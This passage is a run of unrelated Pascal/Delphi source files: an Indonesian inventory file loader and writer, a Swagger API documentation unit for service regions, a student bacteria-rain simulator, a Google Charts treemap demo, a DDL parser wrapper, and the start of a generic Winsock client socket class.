writeError('UFile','Ada bahan olahan ('+ Input.Isi[i][1] +') yang punya jumlah bahan < 1 atau > 10');
end;
if(IsError)then
begin
writeError('UFile','Error dalam membaca file bahan olahan, baris ' + IntToStr(i));
LoadSukses:=false;
end;
end;
Hasil.Neff:=Input.NBar;
InternalBahanOlahan:=Hasil;
getBahanOlahan:=Hasil;
end;
function getInventoriBahanMentah(Input:Tabel):InventoriBahanMentah;
{Kamus lokal}
var
i:integer;
Hasil:InventoriBahanMentah; {variabel InventoriBahanMentah sementara}
KodeError:integer; {akan =/= 0 saat ada error}
IsError:boolean;
IndeksBahan:integer;
{Algoritma - getInventoriBahanMentah}
begin
{Cek apakah sudah ada daftar bahan mentah agar dapat dicocokkan dengan inventori}
if(InternalBahanMentah.Isi[1].Nama = '')then
begin
writeError('UFile','File inventori bahan mentah dibaca sebelum file bahan mentah atau file bahan mentah kosong');
LoadInventoriSukses:=false;
end else
begin
{Untuk setiap data ubah ke format yang dimau}
Hasil.Total := 0;
for i:=1 to Input.NBar do
begin
IndeksBahan := cariBahanMentah(Input.Isi[i][1]);
Hasil.Isi[i].Nama := InternalBahanMentah.Isi[IndeksBahan].Nama;
Hasil.Isi[i].Harga := InternalBahanMentah.Isi[IndeksBahan].Harga;
Hasil.Isi[i].Kadaluarsa := InternalBahanMentah.Isi[IndeksBahan].Kadaluarsa;
Hasil.TanggalBeli[i] := getTanggal(Input.Isi[i][2]);
Val(Input.Isi[i][3],Hasil.Jumlah[i],KodeError);
Hasil.Total := Hasil.Total + Hasil.Jumlah[i];
IsError:=(KodeError<>0);
if(isError)then
begin
writeError('UFile', 'Error dalam membaca file inventori bahan mentah, baris ' + IntToStr(i));
LoadInventoriSukses:=false;
end;
end;
end;
Hasil.Neff:=Input.Nbar;
getInventoriBahanMentah:=Hasil;
end;
function getInventoriBahanOlahan(Input:Tabel):InventoriBahanOlahan;
{Kamus lokal}
var
i:integer;
Hasil:InventoriBahanOlahan; {variabel InventoriBahanOlahan sementara}
KodeError:integer; {akan =/= 0 saat ada error}
IsError:boolean;
IndeksBahan:integer;
{Algoritma - getInventoriBahanOlahan}
begin
{Cek apakah sudah ada daftar bahan olahan untuk dicocokkan dengan inventori}
if(InternalBahanOlahan.Isi[1].Nama = '')then
begin
writeError('UFile','File inventori bahan olahan dibaca sebelum file bahan olahan atau file bahan olahan kosong');
LoadInventoriSukses:=false;
end else
begin
{Untuk setiap data ubah ke format yang dimau}
Hasil.Total := 0;
for i:=1 to Input.NBar do
begin
IndeksBahan := cariBahanOlahan(Input.Isi[i][1]);
Hasil.Isi[i].Nama := InternalBahanOlahan.Isi[IndeksBahan].Nama;
Hasil.Isi[i].Harga := InternalBahanOlahan.Isi[IndeksBahan].Harga;
Hasil.Isi[i].JumlahBahan := InternalBahanOlahan.Isi[IndeksBahan].JumlahBahan;
Hasil.Isi[i].Bahan := InternalBahanOlahan.Isi[IndeksBahan].Bahan;
Hasil.TanggalBuat[i] := getTanggal(Input.Isi[i][2]);
Val(Input.Isi[i][3],Hasil.Jumlah[i],KodeError);
Hasil.Total := Hasil.Total + Hasil.Jumlah[i];
IsError:=(KodeError<>0);
if(isError)then
begin
writeError('UFile','Error dalam membaca file inventori bahan olahan, baris ' + IntToStr(i));
LoadInventoriSukses:=false;
end;
end;
end;
Hasil.Neff:=Input.Nbar;
getInventoriBahanOlahan:=Hasil;
end;
function getResep(Input:Tabel):DaftarResep;
{Kamus Lokal}
var
i,j:integer;
Hasil:DaftarResep; {variabel DaftarResep sementara}
JumlahBahan:integer;
KodeError:integer; {akan =/= 0 saat ada error}
IsError:boolean;
{Algoritma - getResep}
begin
{Untuk setiap data ubah ke format yang dimau}
for i:=1 to Input.NBar do
begin
Hasil.Isi[i].Nama := Input.Isi[i][1];
Val(Input.Isi[i][2],Hasil.Isi[i].Harga,KodeError);
IsError:=(KodeError<>0);
Val(Input.Isi[i][3],JumlahBahan,KodeError);
IsError:= IsError or (KodeError<>0);
Hasil.Isi[i].JumlahBahan:=JumlahBahan;
if((JumlahBahan>=2)and(JumlahBahan<=20))then
begin
for j:=1 to JumlahBahan do
begin
if(Input.isi[i][j+3]='')then
begin
IsError:=true;
writeError('UFile','Ada resep ('+ Input.Isi[i][1] +') yang jumlah bahannya tidak sesuai dengan jumlah bahan yang ada');
end else
begin
Hasil.Isi[i].Bahan[j] := Input.isi[i][j+3];
end;
end;
end else
begin
isError:=true;
writeError('UFile','Ada resep ('+Input.Isi[i][1]+') yang jumlah bahannya < 2 atau > 20');
end;
if(isError)then
begin
writeError('UFile','Error dalam membaca file resep, baris ' + IntToStr(i));
LoadSukses:=false;
end;
end;
Hasil.Neff:=Input.Nbar;
getResep:=Hasil;
end;
function getSimulasi(Input:Tabel):DaftarSimulasi;
{Kamus Lokal}
var
i:integer;
Hasil:DaftarSimulasi;
KodeError:integer;
IsError:boolean;
{Algoritma - getSimulasi}
begin
{Untuk setiap data ubah ke format yang dimau}
for i:=1 to Input.NBar do
begin
Val(Input.Isi[i][1], Hasil.Isi[i].Nomor,KodeError);
IsError:=(KodeError<>0);
Hasil.Isi[i].Tanggal := getTanggal(Input.Isi[i][2]);
Val(Input.Isi[i][3], Hasil.Isi[i].JumlahHidup,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][4], Hasil.Isi[i].Energi,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][5], Hasil.Isi[i].Kapasitas,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][6], Hasil.Isi[i].BeliMentah,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][7], Hasil.Isi[i].BuatOlahan,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][8], Hasil.Isi[i].JualOlahan,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][9], Hasil.Isi[i].JualResep,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][10], Hasil.Isi[i].Pemasukan,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][11], Hasil.Isi[i].Pengeluaran,KodeError);
IsError:= IsError or (KodeError<>0);
Val(Input.Isi[i][12], Hasil.Isi[i].TotalUang,KodeError);
IsError:= IsError or (KodeError<>0);
if(IsError)then
begin
writeError('UFile','Error dalam membaca file simulasi, baris ' + IntToStr(i));
LoadSukses:=false;
end;
end;
Hasil.Neff:=Input.NBar;
getSimulasi:=Hasil;
end;
procedure tulisBalik(InputBahanMentah:DaftarBahanMentah; InputBahanOlahan:DaftarBahanOlahan; InputResep:DaftarResep; InputSimulasi:DaftarSimulasi);
{Kamus}
var
i,j: integer;
fout: text;
{Algoritma}
begin
assign(fout, 'bahan_mentah.txt');
rewrite(fout);
for i:=1 to InputBahanMentah.Neff do
begin
write(fout,InputBahanMentah.Isi[i].Nama);
write(fout,' | ');
write(fout,InputBahanMentah.Isi[i].Harga);
write(fout,' | ');
write(fout,InputBahanMentah.Isi[i].Kadaluarsa);
writeln(fout);
end;
close(fout);
assign(fout, 'bahan_olahan.txt');
rewrite(fout);
for i:=1 to InputBahanOlahan.Neff do
begin
write(fout,InputBahanOlahan.Isi[i].Nama);
write(fout,' | ');
write(fout,InputBahanOlahan.Isi[i].Harga);
write(fout,' | ');
write(fout,InputBahanOlahan.Isi[i].JumlahBahan);
for j:= 1 to (InputBahanOlahan.Isi[i].JumlahBahan) do
begin
write(fout,' | ');
write(fout,InputBahanOlahan.Isi[i].Bahan[j]);
end;
writeln(fout);
end;
close(fout);
assign(fout, 'resep.txt');
rewrite(fout);
for i:=1 to InputResep.Neff do
begin
write(fout,InputResep.Isi[i].Nama);
write(fout,' | ');
write(fout,InputResep.Isi[i].Harga);
write(fout,' | ');
write(fout,InputResep.Isi[i].JumlahBahan);
for j:=1 to InputResep.Isi[i].JumlahBahan do
begin
write(fout,' | ');
write(fout,InputResep.Isi[i].Bahan[j]);
end;
writeln(fout);
end;
close(fout);
assign(fout, 'simulasi.txt');
rewrite(fout);
for i:=1 to InputSimulasi.Neff do
begin
write(fout,InputSimulasi.Isi[i].Nomor);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].Tanggal.Hari);
write(fout,'/');
write(fout,InputSimulasi.Isi[i].Tanggal.Bulan);
write(fout,'/');
write(fout,InputSimulasi.Isi[i].Tanggal.Tahun);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].JumlahHidup);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].Energi);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].Kapasitas);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].BeliMentah);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].BuatOlahan);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].JualOlahan);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].JualResep);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].Pemasukan);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].Pengeluaran);
write(fout,' | ');
write(fout,InputSimulasi.Isi[i].TotalUang);
writeln(fout);
end;
close(fout);
end;
procedure tulisInventori(InputInventoriBahanMentah:InventoriBahanMentah; InputInventoriBahanOlahan:InventoriBahanOlahan;Nomor:integer);
{Kamus}
var
i: integer;
fout: text;
NamaTxt:string;
{ALGORITMA - tulisInventori}
begin
Str(nomor,NamaTxt);
NamaTxt := 'inventori_bahan_mentah_'+NamaTxt+'.txt';
assign(fout, NamaTxt);
rewrite(fout);
for i:=1 to InputInventoriBahanMentah.Neff do
begin
if(InputInventoriBahanMentah.Jumlah[i]<>0)then
begin
write(fout,InputInventoriBahanMentah.Isi[i].Nama);
write(fout,' | ');
write(fout,InputInventoriBahanMentah.TanggalBeli[i].Hari);
write(fout,'/');
write(fout,InputInventoriBahanMentah.TanggalBeli[i].Bulan);
write(fout,'/');
write(fout,InputInventoriBahanMentah.TanggalBeli[i].Tahun);
write(fout,' | ');
write(fout,InputInventoriBahanMentah.Jumlah[i]);
writeln(fout);
end;
end;
close(fout);
Str(nomor,NamaTxt);
NamaTxt := 'inventori_bahan_olahan_'+NamaTxt+'.txt';
assign(fout, NamaTxt);
rewrite(fout);
for i:=1 to InputInventoriBahanOlahan.Neff do
begin
if(InputInventoriBahanOlahan.Jumlah[i]<>0)then
begin
write(fout,InputInventoriBahanOlahan.Isi[i].Nama);
write(fout,' | ');
write(fout,InputInventoriBahanOlahan.TanggalBuat[i].Hari);
write(fout,'/');
write(fout,InputInventoriBahanOlahan.TanggalBuat[i].Bulan);
write(fout,'/');
write(fout,InputInventoriBahanOlahan.TanggalBuat[i].Tahun);
write(fout,' | ');
write(fout,InputInventoriBahanOlahan.Jumlah[i]);
writeln(fout);
end;
end;
close(fout);
end;
end.
|
unit docs.region;
interface
uses
Horse,
Horse.GBSwagger;
procedure registry();
implementation
uses schemas.classes;
procedure registry();
begin
Swagger
.Path('regiao/{id_regiao}')
.Tag('Regiões de atendimento')
.GET('listar uma região', 'listar região especifica')
.AddParamPath('id_regiao', 'id_regiao')
.Schema(SWAG_INTEGER)
.Required(true)
.&End
.AddParamHeader('Authorization', 'bearer token jwt')
.Schema(SWAG_STRING)
.&End
.AddResponse(200)
.Schema(TRegion)
.&End
.AddResponse(404, 'região não encontrada')
.Schema(TMessage)
.&End
.AddResponse(500, 'Internal Server Error')
.&End
.&End
.&End
.&End;
Swagger
.Path('regiao')
.Tag('Regiões de atendimento')
.GET('listar regiões com paginação', 'listagem de regões com paginação e filtros')
.Description('o query param find representa o nome de uma coluna do banco e value o valor que sera colocado no criterio de filtro exemplo: find=id&value=10')
.AddParamQuery('page', 'page')
.Schema(SWAG_INTEGER)
.&End
.AddParamQuery('limit', 'limit')
.Schema(SWAG_INTEGER)
.&End
.AddParamQuery('find', 'find')
.Schema(SWAG_STRING)
.&End
.AddParamQuery('value', 'value')
.Schema(SWAG_STRING)
.&End
.AddParamHeader('Authorization', 'bearer token jwt')
.Schema(SWAG_STRING)
.&End
.AddResponse(200)
.Schema(TRegionPagination)
.isArray(true)
.&End
.AddResponse(500, 'Internal Server Error')
.&End
.&End
.&End
.&End;
Swagger
.Path('regiao/all')
.Tag('Regiões de atendimento')
.GET('listar todas as regiões', 'listagem de regões sem paginação e filtros')
.Description('lista todas as região sem nenhum criterio')
.AddResponse(200)
.Schema(TRegion)
.isArray(true)
.&End
.AddResponse(401, 'token não encontrado ou invalido')
.Schema(SWAG_STRING)
.&End
.AddResponse(500, 'Internal Server Error')
.&End
.&End
.&End
.&End;
Swagger
.Path('regiao')
.Tag('Regiões de atendimento')
.Post('criar região', 'criar uma nova região')
.AddParamBody
.Schema(TRegion)
.&End
.AddParamHeader('Authorization', 'bearer token jwt')
.Schema(SWAG_STRING)
.&End
.AddResponse(201)
.Schema(TRegion)
.&End
.AddResponse(404, 'região não encontrada')
.Schema(TMessage)
.&End
.AddResponse(401, 'token não encontrado ou invalido')
.Schema(SWAG_STRING)
.&End
.AddResponse(500, 'Internal Server Error')
.&End
.&End
.&End
.&End;
Swagger
.Path('regiao/{id_regiao}')
.Tag('Regiões de atendimento')
.Put('alterar região', 'alteração de uma região')
.AddParamPath('id_regiao', 'id_regiao')
.Schema(SWAG_INTEGER)
.&end
.AddParamBody
.Schema(TRegion)
.&End
.AddParamHeader('Authorization', 'bearer token jwt')
.Schema(SWAG_STRING)
.&End
.AddResponse(200)
.Schema(TRegion)
.&End
.AddResponse(404, 'região não encontrada')
.Schema(TMessage)
.&End
.AddResponse(401, 'token não encontrado ou invalido')
.Schema(SWAG_STRING)
.&End
.AddResponse(500, 'Internal Server Error')
.&End
.&End
.&End
.&End;
Swagger
.Path('regiao/{id_regiao}')
.Tag('Regiões de atendimento')
.Delete('deletar região', 'deletar uma região')
.AddParamPath('id_regiao', 'id_regiao')
.Schema(SWAG_INTEGER)
.&end
.AddParamHeader('Authorization', 'bearer token jwt')
.Schema(SWAG_STRING)
.&End
.AddResponse(200, 'região deletada com sucesso')
.Schema(TMessage)
.&End
.AddResponse(404, 'região não encontrada')
.Schema(TMessage)
.&End
.AddResponse(401, 'token não encontrado ou invalido, não foi possivel deletar a região')
.Schema(SWAG_STRING)
.&End
.AddResponse(500, 'Internal Server Error')
.&End
.&End
.&End
.&End;
end;
end.
|
PROGRAM BioRain;
uses CRT;
var
Surface: array[1..20, 1..20] of integer;
Redness: array[1..20, 1..20] of char;
BacCount, EmptyCount, bac, Energy, T: integer;
F, C, J, I {aux} :Byte;
BEGIN
CLRSCR;
TextColor(LightRed);
WRITELN('EN/ WELCOME TO THE BIOLOGICAL RAIN SIMULATOR.');
WRITELN('EN/ This program simulates a biological rain.');
WRITELN('EN/ The values are predeterminated by system.');
WRITE('EN/ Please press '); TextColor(White);
WRITE('"ENTER"'); TextColor(LightRed); WRITELN(' to start.');
WRITELN;
TextColor(LightGreen);
WRITELN('ES/ BIENVENIDO AL SIMULADOR DE LLUVIA DE BACTERIAS.');
WRITELN('ES/ El simulador consiste en una lluvia ficticia de bacterias.');
WRITELN('ES/ Los valores son predeterminados por el sistema.');
WRITE('ES/ Presione la tecla '); TextColor(White);
WRITE('"ENTER"'); TextColor(LightGreen);
Writeln(' para iniciar el programa.');
Readln;
TextColor(White);
F:=0;
C:=0;
ENERGY:=0;
clrscr;
{REPEAT}
randomize;
{ Se busca comprobar que "Energy" esté entre 1 y 100 }
{WRITELN('ORIGINAL E IS', '(',ENERGY, ')');}
WRITELN('Comprobando que los datos sean correctos...');
Delay(500);
REPEAT
ENERGY:=RANDOM(100)+1;
{WRITE('TEMP E IS:', '(',ENERGY, ')');}
UNTIL (ENERGY=1);
WRITELN('MIN ENERGY = 1');
Delay(500);
REPEAT
ENERGY:=RANDOM(100)+1;
{WRITE('TEMP E IS:', '(',ENERGY, ')');}
UNTIL(Energy=100);
WRITELN('MAX ENERGY = 100');
Delay(500);
{WRITELN('FINAL E IS:', '(',ENERGY, ')');}
WriteLN('Datos correctos');
Delay(500);
WriteLN('Comprobando matriz...');
Delay(500);
for f:=1 to 20 do
for c:=1 to 20 do
Surface[c,f] := 0;
for f:=1 to 20 do
begin
for c:=1 to 20 do write( '[', Surface[c,f], ']' );
writeln;
end;
Delay(700);
CLRSCR;
{ Se verifica la matriz roja }
TextColor(Red);
for f:=1 to 20 do
for c:=1 to 20 do
Redness[c,f] := 'M';
for f:=1 to 20 do
begin
for c:=1 to 20 do write( '[', Redness[c,f], ']' );
writeln;
end;
TextColor(White);
Delay(200);
CLRSCR;
WriteLN('Matriz comprobada correctamente.');
Delay(500);
CLRSCR;
WriteLN('Iniciando procesos...');
Delay(1500);
{ Rellena la matriz con numeros al azar }
{for f:=1 to 20 do
for c:=1 to 20 do
Surface[c,f] := RANDOM(100)+1;}
bac:=0;
Repeat
{Repeat
aux:=0;}
bac:=bac+1;
I:=RANDOM(20)+1;
J:=RANDOM(20)+1;
{WRITE(I, ',', J,'. ');}
DELAY(1);
ENERGY:=RANDOM(100)+1;
SURFACE[I,J]:=ENERGY;
{for f:=1 to 20 do
for c:=1 to 20 do
if Surface[c,f]<>0 then aux:=1 else aux:=0;
Until (bac=400);}
{ DEVORAR; (Módulo que consta de 8 casos, donde F(I) es Fila y C(J) es Columna)}
IF (I>1) and (J>1) and (Surface[I-1,J-1]<Energy) THEN {Caso 1: [F-1,C-1]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I-1,J-1];
Surface[I-1,J-1]:=0; {Write(Bac); bac:=bac-1; Write(Bac);}
End;
IF (J>1) AND (Surface[I,J-1]<Energy) THEN {Caso 2: [F,C-1]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I,J-1];
Surface[I,J-1]:=0; {bac:=bac-1;}
END;
IF (I<20) AND (J>1) AND (Surface[I+1,J-1]<Energy) THEN {Caso 3: [F+1,C-1]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I+1,J-1];
Surface[I+1,J-1]:=0; {bac:=bac-1;}
END;
IF (I>1) AND(Surface[I-1,J]<Energy) THEN {Caso 4: [F-1,C]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I-1,J];
Surface[I-1,J]:=0; {bac:=bac-1;}
END;
IF (I<20) AND (Surface[I+1,J]<Energy) THEN {Caso 5: [F+1,C]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I+1,J];
Surface[I+1,J]:=0; {bac:=bac-1;}
END;
IF (I>1) AND (J<20)AND (Surface[I-1,J+1]<Energy) THEN {Caso 6: [F-1,C+1]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I-1,J+1];
Surface[I-1,J+1]:=0; {bac:=bac-1;}
END;
IF (J<20) AND (Surface[I,J+1]<Energy) THEN {Caso 7: [F,C+1]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I,J+1];
Surface[I,J+1]:=0; {bac:=bac-1;}
END;
IF (I<20) AND (J<20) AND (Surface[I+1,J+1]<Energy) THEN {Caso 8: [F+1,C+1]}
BEGIN
Surface[I,J]:=Surface[I,J]+Surface[I+1,J+1];
Surface[I+1,J+1]:=0; {bac:=bac-1;}
END;
{IF BAC<0 THEN BAC:=0;}
T:=T+1;
Write(' T:', T, '. ');
Write(' Bac:', Bac, '. ');
Writeln(' Energy:', Energy, '. ');
UNTIL (T=1000);
{for f:1 to 20 do
for c:=1 to 20 do
Surface[c,f] := RANDOM(100)+1;}
Delay(1);
CLRSCR;
TEXTCOLOR(WHITE);
{ Imprime la matriz }
{for F:=1 to 20 do
begin
for C:=1 to 20 do
write( '[', Surface[F,C], ']' );
writeln;
end;}
for f:=1 to 20 do
begin
for c:=1 to 20 do
begin
Textcolor(LightGreen);
if Surface[f,c]<>0 then Write('[', Surface[f,c], ']') else
if Surface[f,c]=0 then begin textcolor(lightred); Write('[',surface[f,c],']'); end;
end;
writeln;
end;
{BacCount:=BacCount+1;
UNTIL (Baccount=1);}
bacCount:=0;
EmptyCount:=0;
FOR F:=1 TO 20 DO
Begin
FOR C:=1 TO 20 DO
Begin
IF SURFACE[F,C]=0 THEN
EmptyCount:=EmptyCount+1
ELSE
BacCount:=BacCount+1;
END;
END;
TextColor(White);
Writeln('Espanglish/ Total de bacterias in the simulation: ', bac);
Writeln('Espanglish/ Total de bacterias vivas in the end of the simulation: ', bacCount);
Writeln('Espanglish/ Total de empty espacios in the simulation: ', EmptyCount);
Writeln('EN/ Simulation ended, the biological rain simulator were made by Merlot');
Writeln('ES/ Simulador finalizado, Simulador hecho por Merlot, UTFSM 2016');
{
for f:=1 to 20 do
begin
for c:=1 to 20 do
if Surface[f,c]<>0 then Write('[', Surface[f,c], ']') else
if Surface[f,c]=0 then Write('[',Redness[f,c],']');
writeln;
end;
}
Readln;
end.
|
unit Demo.TreeMapChart.Sample;
interface
uses
System.Classes, System.Variants, Demo.BaseFrame, cfs.GCharts;
type
TDemo_TreeMapChart_Sample = class(TDemoBaseFrame)
public
procedure GenerateChart; override;
end;
implementation
procedure TDemo_TreeMapChart_Sample.GenerateChart;
var
Chart: IcfsGChartProducer; // Defined as TInterfacedObject No need try..finally
begin
Chart := TcfsGChartProducer.Create;
Chart.ClassChartType := TcfsGChartProducer.CLASS_TREE_MAP_CHART;
// Data
Chart.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Location'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Parent'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Market trade volume (size)'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Market increase/decrease (color)')
]);
Chart.Data.AddRow(['Global', null, 0, 0]);
Chart.Data.AddRow(['America', 'Global', 0, 0]);
Chart.Data.AddRow(['Europe', 'Global', 0, 0]);
Chart.Data.AddRow(['Asia', 'Global', 0, 0]);
Chart.Data.AddRow(['Australia', 'Global', 0, 0]);
Chart.Data.AddRow(['Africa', 'Global', 0, 0]);
Chart.Data.AddRow(['Brazil', 'America', 11, 10]);
Chart.Data.AddRow(['USA', 'America', 52, 31]);
Chart.Data.AddRow(['Mexico', 'America', 24, 12]);
Chart.Data.AddRow(['Canada', 'America', 16, -23]);
Chart.Data.AddRow(['France', 'Europe', 42, -11]);
Chart.Data.AddRow(['Germany', 'Europe', 31, -2]);
Chart.Data.AddRow(['Sweden', 'Europe', 22, -13]);
Chart.Data.AddRow(['Italy', 'Europe', 17, 4]);
Chart.Data.AddRow(['UK', 'Europe', 21, -5]);
Chart.Data.AddRow(['China', 'Asia', 36, 4]);
Chart.Data.AddRow(['Japan', 'Asia', 20, -12]);
Chart.Data.AddRow(['India', 'Asia', 40, 63]);
Chart.Data.AddRow(['Laos', 'Asia', 4, 34]);
Chart.Data.AddRow(['Mongolia', 'Asia', 1, -5]);
Chart.Data.AddRow(['Israel', 'Asia', 12, 24]);
Chart.Data.AddRow(['Iran', 'Asia', 18, 13]);
Chart.Data.AddRow(['Pakistan', 'Asia', 11, -52]);
Chart.Data.AddRow(['Egypt', 'Africa', 21, 0]);
Chart.Data.AddRow(['S. Africa', 'Africa', 30, 43]);
Chart.Data.AddRow(['Sudan', 'Africa', 12, 2]);
Chart.Data.AddRow(['Congo', 'Africa', 10, 12]);
Chart.Data.AddRow(['Zaire', 'Africa', 8, 10]);
// Options
Chart.Options.Title('Market trade volume (size)');
Chart.Options.SetAsQuotedStr('minColor', '#f00');
Chart.Options.SetAsQuotedStr('midColor', '#ddd');
Chart.Options.SetAsQuotedStr('maxColor', '#0d0');
Chart.Options.SetAsInteger('headerHeight', 15);
Chart.Options.SetAsQuotedStr('fontColor', 'black');
Chart.Options.SetAsBoolean('showScale', True);
Chart.Options.SetAsUnQuotedStr('generateTooltip', 'showFullTooltip');
Chart.ScripCodeAfterCallDraw :=
'function showFullTooltip(row, size, value) {'
+ 'return ''<div style="background:#fd9; padding:10px; border-style:solid">'
+ '<span style="font-family:Courier"><b>'' + data.getValue(row, 0) +'
+ '''</b>, '' + data.getValue(row, 1) + '', '' + data.getValue(row, 2)'
+ '}'
;
// Generate
GChartsFrame.DocumentInit;
GChartsFrame.DocumentSetBody(
'<div id="Chart" style="width:600px; height:600px; margin:auto;position: absolute;top:0;bottom: 0;left: 0;right: 0;"></div>'
+ '<div style="width:100%;font-family: Arial; font-size:14px; text-align: center;"><br><br>NOTE: click to drilldown / click button right to rollup</div>'
);
GChartsFrame.DocumentGenerate('Chart', Chart);
GChartsFrame.DocumentPost;
end;
initialization
RegisterClass(TDemo_TreeMapChart_Sample);
end.
|
unit ibSHDDLParser;
interface
uses
SysUtils, Classes, Types,
SHDesignIntf,
ibSHDesignIntf, ibSHDriverIntf, ibSHComponent;
type
TibBTDDLParser = class(TibBTComponent, IibSHDDLParser)
private
FDRVSQLParser: TComponent;
FDRVSQLParserIntf: IibSHDRVSQLParser;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
{IibSHDDLParser}
function GetCount: Integer;
function GetStatements(Index: Integer): string;
function GetSQLParserNotification: IibSHDRVSQLParserNotification;
procedure SetSQLParserNotification(Value: IibSHDRVSQLParserNotification);
function GetErrorText: string;
function GetErrorLine: Integer;
function GetErrorColumn: Integer;
function Parse(const DDLText: string): Boolean;
function StatementState(const Index: Integer): TSHDBComponentState;
function StatementObjectType(const Index: Integer): TGUID;
function StatementObjectName(const Index: Integer): string;
function StatementsCoord(Index: Integer): TRect;
function IsDataSQL(Index: Integer): Boolean;
property DRVSQLParser: IibSHDRVSQLParser read FDRVSQLParserIntf;
end;
implementation
{ TibBTDDLParser }
constructor TibBTDDLParser.Create(AOwner: TComponent);
var
vComponentClass: TSHComponentClass;
begin
inherited Create(AOwner);
vComponentClass := Designer.GetComponent(IibSHDRVSQLParser_FIBPlus);
if Assigned(vComponentClass) then
begin
FDRVSQLParser := vComponentClass.Create(nil);
Supports(FDRVSQLParser, IibSHDRVSQLParser, FDRVSQLParserIntf);
end;
Assert(Assigned(DRVSQLParser), 'DRVSQLParser = nil');
end;
destructor TibBTDDLParser.Destroy;
begin
FDRVSQLParserIntf := nil;
FDRVSQLParser.Free;
inherited Destroy;
end;
function TibBTDDLParser.GetCount: Integer;
begin
Result := DRVSQLParser.Count;
end;
function TibBTDDLParser.GetStatements(Index: Integer): string;
begin
// Result := DRVSQLParser.Statements;
Result := DRVSQLParser.Statements[Index];
end;
function TibBTDDLParser.GetSQLParserNotification: IibSHDRVSQLParserNotification;
begin
Result := DRVSQLParser.SQLParserNotification;
end;
procedure TibBTDDLParser.SetSQLParserNotification(
Value: IibSHDRVSQLParserNotification);
begin
DRVSQLParser.SQLParserNotification := Value;
end;
function TibBTDDLParser.GetErrorText: string;
begin
Result := DRVSQLParser.ErrorText;
end;
function TibBTDDLParser.GetErrorLine: Integer;
begin
Result := -1;
end;
function TibBTDDLParser.GetErrorColumn: Integer;
begin
Result := -1;
end;
function TibBTDDLParser.Parse(const DDLText: string): Boolean;
begin
Result := DRVSQLParser.Parse(DDLText);
end;
function TibBTDDLParser.StatementState(const Index: Integer): TSHDBComponentState;
begin
Result := DRVSQLParser.StatementState(Index);
end;
function TibBTDDLParser.StatementObjectType(const Index: Integer): TGUID;
begin
Result := DRVSQLParser.StatementObjectType(Index);
end;
function TibBTDDLParser.StatementObjectName(const Index: Integer): string;
begin
Result := DRVSQLParser.StatementObjectName(Index);
end;
function TibBTDDLParser.StatementsCoord(Index: Integer): TRect;
begin
Result := DRVSQLParser.StatementsCoord(Index);
end;
function TibBTDDLParser.IsDataSQL(Index: Integer): Boolean;
begin
Result := DRVSQLParser.IsDataSQL(Index);
end;
end.
|
unit abWinsock;
interface
uses Windows, Winsock;
type
TClientSocket = class(TObject)
private
FAddress: PChar;
FData: Pointer;
FTag: Integer;
FConnected: Boolean;
protected
FSocket: TSocket;
public
property Connected: Boolean read FConnected;
property Data: Pointer read FData write FData;
property Socket: TSocket read FSocket;
property Tag: integer read FTag write FTag;
procedure Connect(Address: string; Port: Integer);
destructor Destroy; override;
procedure Disconnect();
function ReceiveBuffer(var Buffer; BufferSize: Integer): Integer;
function ReceiveLength(): Integer;
function ReceiveString(): String;
function SendBuffer(var Buffer; BufferSize: Integer): Integer;
function SendString(const Buffer: String): Integer;
end;
var
WSAData: TWSAData;
implementation
procedure TClientSocket.Connect(Address: String; Port: Integer);
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
begin
Disconnect;
FAddress := pchar(Address);
FSocket := Winsock.socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(Port);
SockAddrIn.sin_addr.s_addr := inet_addr(FAddress);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(FAddress);
if HostEnt = nil then
begin
Exit;
end;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
Winsock.Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn));
FConnected := True;
end;
procedure TClientSocket.Disconnect();
begin
closesocket(FSocket);
FConnected := False;
end;
function TClientSocket.ReceiveLength(): Integer;
begin
Result := ReceiveBuffer(Pointer(nil)^, -1);
end;
function TClientSocket.ReceiveBuffer(var Buffer; BufferSize: Integer): Integer;
begin
if BufferSize = -1 then
begin
if ioctlsocket(FSocket, FIONREAD, Longint(Result)) = SOCKET_ERROR then
begin
Result := SOCKET_ERROR;
Disconnect;
end;
end
else
begin
Result := recv(FSocket, Buffer, BufferSize, 0);
if Result = 0 then
begin
Disconnect;
end;
if Result = SOCKET_ERROR then
begin
Result := WSAGetLastError;
if Result = WSAEWOULDBLOCK then
begin
Result := 0;
end
else
begin
Disconnect;
end;
end;
end;
end;
function TClientSocket.ReceiveString(): String;
begin
